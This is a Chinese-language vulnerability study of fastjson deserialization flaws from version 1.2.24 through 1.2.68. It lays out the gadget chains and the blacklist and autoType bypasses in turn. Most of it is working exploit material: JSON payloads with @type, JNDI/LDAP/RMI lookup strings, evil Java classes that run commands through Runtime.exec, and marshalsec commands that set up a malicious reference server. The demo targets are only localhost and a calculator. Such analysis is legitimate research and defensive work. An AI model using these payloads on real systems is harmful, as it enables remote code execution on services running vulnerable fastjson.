前言:
fastjson 默认使用@type反序列化任意类,反序列化时会将该类或其子类的构造函数、getter、setter方法执行,如果这三种方法中存在可利用的入口,则可能导致反序列化漏洞的存在。
1 2 3 4 5 6 7 8 9
| String text = JSON.toJSONString(obj);
VO vo = JSON.parse(); VO vo = JSON.parseObject("{...}"); VO vo = JSON.parseObject("{...}", VO.class); JSON.parseObject方法中没指定对象,返回的则是JSONObject的对象。 JSON.parseObject和 JSON.parse这两个方法差不多 JSON.parseObject的底层调用的还是JSON.parse方法,只是在JSON.parse的基础上做了一个封装
|
fastjson <= 1.2.24
利用链:TemplatesImpl链
原理:内部使用的是类加载器,去进行new一个对象,这时候将恶意代码定义在静态代码块中,就会被执行。
TemplatesImpl 类位于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,实现了 Serializable 接口,可以被序列化。
漏洞分析:
+ 构造一个 TemplatesImpl 类的反序列化字符串,其中 _bytecodes 是我们构造的恶意类的类字节码,这个类的父类是 AbstractTranslet,最终这个类会被加载并使用 newInstance() 实例化。
+ 在反序列化过程中,由于getter方法 getOutputProperties(),满足条件,将会被 fastjson 调用,而这个方法触发了整个漏洞利用流程:getOutputProperties() -> newTransformer() -> getTransletInstance() -> defineTransletClasses() / EvilClass.newInstance()。
条件:
1、为了满足漏洞点触发之前不报异常及退出,需满足 _name 不为 null ,_tfactory 不为 null 。
2、_bytecodes不为空才能调用自定义的 ClassLoader 去加载 _bytecodes
3、_tfactory属性不能为空,否则会造成空指针异常
4、父类必须为 ABSTRACT_TRANSLET才会将类成员属性的_transletIndex 设置为当前循环中的标记位
5、由于部分需要我们更改的私有变量没有 setter 方法,需要使用 Feature.SupportNonPublicField 参数,JSON.parseObject(payload, Feature.SupportNonPublicField)。
因此最终的 payload 为:
1 2 3 4 5 6 7
| { "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes": ["yv66vgAAADQA...CJAAk="], "_name": "aaa", "_tfactory": {}, "_outputProperties": {}, }
|
漏洞复现
1 2 3 4 5 6 7
| <dependencies> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency> </dependencies>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| import java.io.*; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import java.util.Base64;
public class Fastjson01_TemplatesImpl { public static void main(String[] args) throws Exception { InputStream resourceAsStream = Fastjson01_TemplatesImpl.class.getResourceAsStream("TemplatesImplcmd.class"); byte[] bs = new byte[resourceAsStream.available()]; resourceAsStream.read(bs); String encodedBytes = Base64.getEncoder().encodeToString(bs); String payload = "{\r\n" + " \"a\": {\r\n" + " \"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \r\n" + " \"_bytecodes\": [\r\n" + " \""+encodedBytes+"\"\r\n" + " ], \r\n" + " \"_name\": \"aaa\", \r\n" + " \"_tfactory\": { }, \r\n" + " \"_outputProperties\": { }\r\n" + " }\r\n" + "}"; System.out.println(payload); JSON.parseObject(payload, Feature.SupportNonPublicField);
} }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class TemplatesImplcmd extends AbstractTranslet { public TemplatesImplcmd() throws Exception { Runtime.getRuntime().exec("open -a calculator"); } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } @Override public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException { } }
|
利用链:JdbcRowSetImpl
原理:JdbcRowSetImpl类的setAutoCommit()会调用connect()方法,里面有调用rmi的lookup方法,参数可控导致的 JNDI 注入。
漏洞分析:
setAutoCommit() 方法,在 this.conn 为空时,将会调用 this.connect() 方法,connect() 方法里调用了 javax.naming.InitialContext#lookup() 方法,参数从成员变量 dataSource 中获取,lookup() 参数可控导致 JNDI 注入。
因此最终的 payload 为:
1 2 3 4 5
| { "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://127.0.0.1:1389/Exploit", "autoCommit":true }
|
漏洞复现
1 2 3 4 5 6 7 8 9
| public class Exploit { public Exploit() { try { Runtime.getRuntime().exec("open -a calculator"); } catch (Exception e) { e.printStackTrace(); } } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| import com.alibaba.fastjson.JSON;
public class Fastjson02_JNDI { public static void main(String[] args) throws Exception { String payload = "{\r\n" + " \"a\": {\r\n" + " \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \r\n" + " \"dataSourceName\": \"rmi://127.0.0.1:1099/Exploit\", \r\n" + " \"autoCommit\": true\r\n" + " }\r\n" + "}"; System.out.println(payload); JSON.parse(payload); } }
|
-
编译Exploit.java,生成Exploit.class
javac Exploit.java
-
Exploit.class目录开启http服务
python -m http.server 8000
-
marshalsec启动一个rmi服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8000/#Exploit 1099
-
运行Fastjson02_JNDI.java (注:marshalsec会忽略客户端请求的路径,始终返回预先配置的类名)
ldap服务同理:
-
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#Exploit 1389
-
Fastjson02_JNDI.java的dataSourceName修改成: “ldap://127.0.0.1:1389/Exploit”
1.2.25 <= fastjson <= 1.2.41
利用链:JdbcRowSetImpl链
在版本 1.2.25 版本及以上,官方对之前的反序列化漏洞进行了修复,引入了 checkAutoType 安全机制,存在一个autoTypeSupport属性用来设置是否支持反序列化,默认情况下 autoTypeSupport 关闭,不能直接反序列化任意类,而打开 AutoType 之后,是基于ParserConfig内置黑名单来实现安全的。
安全更新主要集中在 com.alibaba.fastjson.parser.ParserConfig,首先查看类上出现了几个成员变量:布尔型的 autoTypeSupport,用来标识是否开启任意类型的反序列化,并且默认关闭;字符串数组 denyList ,是反序列化类的黑名单;acceptList 是反序列化白名单。
1 2 3 4 5 6
| private boolean autoTypeSupport = AUTO_SUPPORT;
private String[] denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");
private String[] acceptList = AUTO_TYPE_ACCEPT_LIST;
|
添加反序列化白名单有3种方法:
-
使用代码进行添加:ParserConfig.getGlobalInstance().addAccept(“com.example.safe.”)
-
加上JVM启动参数:-Dfastjson.parser.autoTypeAccept=com.example.safe.
-
在fastjson.properties中添加:fastjson.parser.autoTypeAccept=com.example.safe
漏洞分析:
第一次判断,如果开启了autoTypeSupport:先判断在白名单内就进行类加载、在黑名单内就报错
第二次判断,如果没有开启autoTypeSupport:先判断在黑名单内就报错、白名单内就进行类加载
第三次判断,如果开启了autoTypeSupport而且类不在黑白名单内的,再加载
往后看,类加载调用的是fastjson的loadClass,这里对带有描述符的类有特殊的处理:
因此就在这个位置出现了逻辑漏洞,攻击者可以使用带有描述符的类绕过黑名单的限制,而在类加载过程中,描述符还会被处理掉。因此,漏洞利用的思路就出来了:需要开启 autoType,使用以上字符来进行黑名单的绕过。
最终的 payload 其实就是在之前的 payload 类名上前后加上 L 和 ; 即可:
1 2 3 4 5
| { "@type":"Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName":"ldap://127.0.0.1:1389/Exploit", "autoCommit":true }
|
漏洞复现
1 2 3 4 5 6 7
| <dependencies> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.25</version> </dependency> </dependencies>
|
1 2 3 4 5 6 7 8 9
| ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String payload = "{\r\n" + " \"a\": {\r\n" + " \"@type\": \"Lcom.sun.rowset.JdbcRowSetImpl;\", \r\n" + " \"dataSourceName\": \"ldap://127.0.0.1:1389/Exploit\", \r\n" + " \"autoCommit\": true\r\n" + " }\r\n" + "}";
|
fastjson-1.2.42
影响版本:1.2.25 <= fastjson <= 1.2.42
在版本1.2.42中,只是把原来的明文黑名单转换为Hash黑名单,然后checkAutoType这里进行判断,仅仅是把原来的 L 和 ; 换成了hash的形式。所以直接在className前后双写L和;即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| private boolean autoTypeSupport = AUTO_SUPPORT; private long[] denyHashCodes; private long[] acceptHashCodes; public final boolean fieldBased; public boolean compatibleWithJavaBean = TypeUtils.compatibleWithJavaBean; { denyHashCodes = new long[]{ -8720046426850100497L,-8109300701639721088L,-7966123100503199569L,-7766605818834748097L, -6835437086156813536L,-4837536971810737970L,-4082057040235125754L,-2364987994247679115L, -1872417015366588117L,-254670111376247151L ,-190281065685395680L , 33238344207745342L , 313864100207897507L , 1203232727967308606L, 502845958873959152L , 3547627781654598988L, 3730752432285826863L, 3794316665763266033L, 4147696707147271408L, 5347909877633654828L, 5450448828334921485L, 5751393439502795295L, 5944107969236155580L, 6742705432718011780L, 7179336928365889465L, 7442624256860549330L, 8838294710098435315L }; }
|
1 2 3 4 5
| { "@type":"[com.sun.rowset.JdbcRowSetImpl"[, {"dataSourceName":"ldap://127.0.0.1:1389/Exploit", "autoCommit":true }
|
漏洞复现
1 2 3 4 5 6 7
| <dependencies> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.42</version> </dependency> </dependencies>
|
1 2 3 4 5 6 7 8 9
| ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String payload = "{\r\n" + " \"a\": {\r\n" + " \"@type\": \"LLcom.sun.rowset.JdbcRowSetImpl;;\", \r\n" + " \"dataSourceName\": \"ldap://127.0.0.1:1389/Exploit\", \r\n" + " \"autoCommit\": true\r\n" + " }\r\n" + "}";
|
fastjson-1.2.43
影响版本:1.2.25 <= fastjson <= 1.2.43
这个版本主要是修复上一个版本中双写绕过的问题,判断前两个字符不能为L,否则抛异常,可以使用[绕过
尝试只插入一个[,在解析的时候语义解析出错了,提示逗号前面缺一个[
根据语义提示补全,在逗号前面加一个[,又提示44处缺一个{,位置在dataSourceName属性的左双引号前面
1 2 3 4 5
| { "@type":"[com.sun.rowset.JdbcRowSetImpl"[, {"dataSourceName":"ldap://127.0.0.1:1389/Exploit", "autoCommit":true }
|
漏洞复现
1 2 3 4 5 6 7
| <dependencies> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.43</version> </dependency> </dependencies>
|
1 2 3 4 5 6
| ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String payload= "{\n" + " \"@type\": \"[com.sun.rowset.JdbcRowSetImpl\"[{,\n" + " \"dataSourceName\": \"ldap://127.0.0.1:1389/Exploit\",\n" + " \"autoCommit\": true\n" + "}";
|
fastjson-1.2.44
这个版本主要是修复上一个版本中使用 [ 绕过黑名单防护的问题。
影响版本:1.2.25 <= fastjson <= 1.2.44
在此版本将 [ 也进行修复了之后,由字符串处理导致的黑名单绕过也就告一段落了。
可以看到在 checkAutoType 中添加了新的判断,如果类名以 [ 开始则直接抛出异常。
1.2.25<=fastjson<=1.2.45
漏洞点:org.apache.ibatis.datasource.jndi.JndiDataSourceFactory 并不在黑名单中,JndiDataSourceFactory#setProperties(),正好是set方法能被fastjson利用
利用条件需要目标服务端存在mybatis的jar包,mybatis3 <=3.4.6版本且依旧要开启autoTypeSupport
1 2 3 4 5 6
| { "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory", "properties":{ "data_source":"ldap://127.0.0.1:1389/Exploit" } }
|
漏洞复现
1 2 3 4 5 6 7 8 9 10 11 12
| <dependencies> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.44</version> </dependency> <dependency> <groupId>org.mybatis</groupId> <artifactId>mybatis</artifactId> <version>3.5.11</version> </dependency> </dependencies>
|
1 2 3 4 5 6 7 8 9 10
| ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String payload = "{\n" + " \"@type\": \"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\n" + " \"properties\": {\n" + " \"data_source\": \"ldap://127.0.0.1:1389/Exploit\"\n" + " }\n" + "}";
System.out.println(payload); JSON.parse(payload);
|
1.2.25<=fastjson<=1.2.47通杀
原理:当@type是Class类时会加载val对应的类并写入缓存,可以在不开启autoTypeSupport且绕过黑白名单的情况下进行RCE。
通杀,无视autoTypeSupport,默认autoTypeSupport是关闭的
影响版本:1.2.25 <= fastjson <= 1.2.32 关闭
影响版本:1.2.33 <= fastjson <= 1.2.47 任意
漏洞问题还是在checkAutoType中,无论是否开启autoTypeSupport,最终都会通过deserializers.findClass(typeName)获取对象并返回clazz。可以先通过往TypeUtils的缓存中存入恶意类,再以恶意类进行 @type 请求时即可绕过黑名单进行的阻拦。
漏洞分析:
ParserConfig类相关代码结构图:
TypeUtils类相关代码结构图:

漏洞复现
1 2 3 4 5 6 7
| <dependencies> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.45</version> </dependency> </dependencies>
|
1 2 3 4 5 6 7 8 9 10 11 12 13
| String payload = "{\n" + "\t\"a\": {\n" + "\t\t\"@type\": \"java.lang.Class\",\n" + "\t\t\"val\": \"com.sun.rowset.JdbcRowSetImpl\"\n" + "\t},\n" + "\t\"b\": {\n" + "\t\t\"@type\": \"com.sun.rowset.JdbcRowSetImpl\",\n" + "\t\t\"dataSourceName\": \"ldap://127.0.0.1:1389/Exploit\",\n" + "\t\t\"autoCommit\": true\n" + "\t}\n" + "}"; System.out.println(payload); JSON.parse(payload);
|
1.2.48<=fastjson<=1.2.68
新增安全机制
1、在MiscCodec这里,可以发现,cache默认设置成了false,并且loadClass重载方法的默认的调用改为不缓存。最大限制是开启了safeMode
2、在版本 1.2.68 更新了一个新的安全机制 safeMode,如果开启了 safeMode,将在 checkAutoType() 中直接抛出异常,那么autoType就会被完全禁止。所以只有关闭 safeMode 的情况下才能进行攻击,但具体的漏洞利用的危害程度要取决于目标服务的环境。
漏洞分析
1 2
| Student stu2 = JSON.parseObject(testStr, Student.class);
|
checkAutoType 一般有以下几种情况会通过校验。
1.白名单里的类
2.开启了 autotype
3.使用了 JSONType 注解
4.指定了期望类(expectClass)
5.缓存 mapping 中的类
这个漏洞依旧是和ParserConfig#checkAutoType()校验方法做对抗。分析如下:
1、并且对 expectClass 的类型进行限制,不能是Object、Serializable、Cloneable、Closeable、EventListener、Iterable、Collection这些类及其子类。
2、从TypeUtils.mappings中查询类,expectClass需要在缓存集合TypeUtils#mappings中
3、如果不再内部白名单内,且未开启autolypeSupport的情况下,会匹配黑白名单,所以expectClass 和 typeName 都不能在黑名单中。
4、还对 JNDI 的一些危险类做了判断 clazz 不能是 ClassLoader,DataSource,RowSet 的子类
5、expectClass.isAssignableFrom(clazz)用于判断 clazz(typeName对应的类)是否为expectClass的子类或实现类。若不是,则抛出 “类型不匹配” 异常,反序列化失败。所以当typeName要为expectClass的子类,才能绕过checkAutoType的检测,同时绕过autoTypeSupport的限制。
所以如果同时符合以下条件,则可以在autoType关闭的情况下,指定了期望类绕过ParserConfig#checkAutoType()的安全校验,从而反序列化指定类:
(1) expectClass不为null,且不等于Object.class、Serializable.class、Cloneable.class、Closeable.class、EventListener.class、Iterable.class、Collection.class;
(2) expectClass需要在缓存集合TypeUtils#mappings中;
(3) expectClass和typeName都不在黑名单中;
(4) typeName不是ClassLoader、DataSource、RowSet的子类;
(5) typeName是expectClass的子类。
满足上述条件会调用checkAutoType且传递expectClass参数,只有两个地方
①ThrowableDeserializer#deserialize
漏洞复现
1 2 3 4 5 6 7
| <dependencies> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.68</version> </dependency> </dependencies>
|
1 2 3 4 5 6 7 8 9
| public class evilException extends Exception{ static { try { Runtime.getRuntime().exec("open -a calculator"); } catch (Exception e) { e.printStackTrace(); } } }
|
1 2 3 4 5 6 7 8 9 10 11
| import com.alibaba.fastjson.JSON;
public class Fastjson_bypass68 { public static void main(String[] args) { String payload = "{" + "\"@type\":\"java.lang.Exception\"," + "\"@type\":\"evilException\"" + "}"; JSON.parse(payload); } }
|
②JavaBeanDeserializer
漏洞复现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| import com.alibaba.fastjson.JSON;
public class Fastjson_bypass68 { public static void main(String[] args) {
String payload = "{" + "\"@type\":\"java.lang.AutoCloseable\"," + "\"@type\":\"com.lingx5.entry.evilAutoCloseable\"," + "\"cmd\":\"open -a calculator\"" + "}"; JSON.parse(payload); } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| import java.io.IOException;
public class evilAutoCloseable implements AutoCloseable { String cmd; public void setCmd(String cmd) { this.cmd = cmd; try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } } @Override public void close() throws Exception {
} }
|